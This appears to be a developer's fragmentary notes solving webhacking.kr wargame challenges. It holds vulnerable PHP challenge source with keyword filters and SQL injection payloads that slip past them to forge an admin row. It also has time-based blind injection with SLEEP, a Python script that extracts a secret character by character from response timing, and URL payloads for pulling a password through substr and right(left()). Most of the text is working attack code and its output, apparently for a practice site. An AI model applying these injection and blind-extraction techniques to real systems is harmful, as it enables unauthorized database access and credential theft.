늘모자란, 개발

<?

if($_POST[lid] && $_POST[lphone])
{
$q=@mysql_fetch_array(mysql_query("select id,lv from c59 where id='$_POST[lid]' and phone='$_POST[lphone]'"));

if($q[id])
{

echo("id : $q[id]<br>lv : $q[lv]<br><br>");

if($q[lv]=="admin")
{
@mysql_query("delete from c59");
@clear();
}

echo("<br><a href=index.php>back</a>");
exit();
}

}


if($_POST[id] && $_POST[phone])
{
if(strlen($_POST[phone])>=20) exit("Access Denied");
if(eregi("admin",$_POST[id])) exit("Access Denied");
if(eregi("admin|0x|#|hex|char|ascii|ord|from|select|union",$_POST[phone])) exit("Access Denied");

@mysql_query("insert into c59 values('$_POST[id]',$_POST[phone],'guest')");
}

?>

"select id,lv from c59 where id=''; insert  into c59 values(CHAR(97),CHAR(97),CHAR(97,100,109,105,110)); #$_POST[lid]' and phone='$_POST[lphone]'"

'1',REPLACE('zdmin','z','a') --

1,reverse('nimda')--

1,reverse(id));-- 

kk=document.URL;
kk=kk.substr(10,4);

<?
$secret_key="????";

if(time()>1309064400) exit("오후 2시에 공개됩니다.");

if($_POST[pw])
{

if($_POST[pw]==$secret_key)
{
mysql_query("delete from challenge57msg");
@solve();
exit();
}

}


if($_GET[msg] && $_GET[se])
{
if(eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied");

mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])");
echo("Done<br><br>");
}

?>

hi','hi all',1); #

SELECT * FROM products WHERE id=1-IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import urllib, urllib2, time
   
sess = ""
  
headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for j in range(32,132):
    url = 'http://webhacking.kr/challenge/web/web-34/index.php?msg=m&se=if(substr(pw,1,1)={},sleep(2),0)'.format(hex(j))
    req = urllib2.Request(url, '', headers)
    start_time = time.time()
    response = urllib2.urlopen(req).read()
    time = time.time() - start_time

    print time, chr(j)

0.100000143051 
0.108999967575 
0.104000091553 
0.0979998111725 
0.0980000495911 
0.101999998093 
0.0970001220703 
0.115999937057 
2.10299992561 
0.113000154495 
0.105000019073 
0.101999998093 

hkpHKP0.%_

[('h', 'k', 'p', '.'), ('h', 'k', '.', 'p'), ('h', 'p', 'k', '.'), ('h', 'p', '.', 'k'), ('h', '.', 'k', 'p'), ('h', '.', 'p', 'k'), ('k', 'h', 'p', '.'), ('k', 'h', '.', 'p'), ('k', 'p', 'h', '.'), ('k', 'p', '.', 'h'), ('k', '.', 'h', 'p'), ('k', '.', 'p', 'h'), ('p', 'h', 'k', '.'), ('p', 'h', '.', 'k'), ('p', 'k', 'h', '.'), ('p', 'k', '.', 'h'), ('p', '.', 'h', 'k'), ('p', '.', 'k', 'h'), ('.', 'h', 'k', 'p'), ('.', 'h', 'p', 'k'), ('.', 'k', 'h', 'p'), ('.', 'k', 'p', 'h'), ('.', 'p', 'h', 'k'), ('.', 'p', 'k', 'h')]

('k', '.', 'p', 'h')

<!--

hint

rank table
====================
ip ( = id )
score
**password** --> small letter
====================

-->

http://webhacking.kr/challenge/web/web-31/rank.php?score=48851132%20or%20substr%28password,1,1%29=a

right(left(password,1),1)

0 limit 2, 1 procedure analyse()

http://webhacking.kr/challenge/web/web-31/rank.php?score=2147483647%20or%20right(left(컬럼,{}),1)={}